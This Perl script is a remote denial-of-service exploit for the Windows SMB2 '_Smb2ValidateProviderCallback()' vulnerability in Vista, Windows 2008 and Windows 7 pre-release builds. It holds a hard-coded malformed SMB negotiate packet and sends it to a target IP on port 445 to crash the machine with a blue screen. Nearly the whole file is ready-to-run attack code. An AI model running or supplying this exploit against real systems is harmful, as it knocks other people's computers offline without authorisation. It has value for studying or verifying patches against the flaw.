#!/usr/bin/perl
#
# Microsoft Windows SMB2 '_Smb2ValidateProviderCallback()' Remote B.S.O.D.
# Systems Affected: Windows Vista SP1+SP2, Windows 2008 SP2, Windows 7 Beta + RC
# Discovered by Laurent Gaffie http://g-laurent.blogspot.com
# perl version by laszlokovacs.com

use IO::Socket;

if (@ARGV < 1){
	print "\n[!] usage: $0 <ip>\n";
	exit;
}

$exploit = 
"\x00\x00\x00\x90".
"\xff\x53\x4d\x42".
"\x72\x00\x00\x00".
"\x00\x18\x53\xc8".
"\x00\x26".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe".
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54".
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31".
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00".
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57".
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61".
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c".
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c".
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e".
"\x30\x30\x32\x00";

$sock = new IO::Socket::INET
        (
                PeerAddr=> $ARGV[0],
                PeerPort=> 445,
                Proto   => 'tcp'
        );

die "[-] Connection failed: $!\n\n" unless $sock;	

print "[+] Sending malformed packet...\n";

$sock->send($exploit);
sleep(2);
close($sock);

print "[=] Successfully sent packet!\r\nTarget should be crashed...\r\n";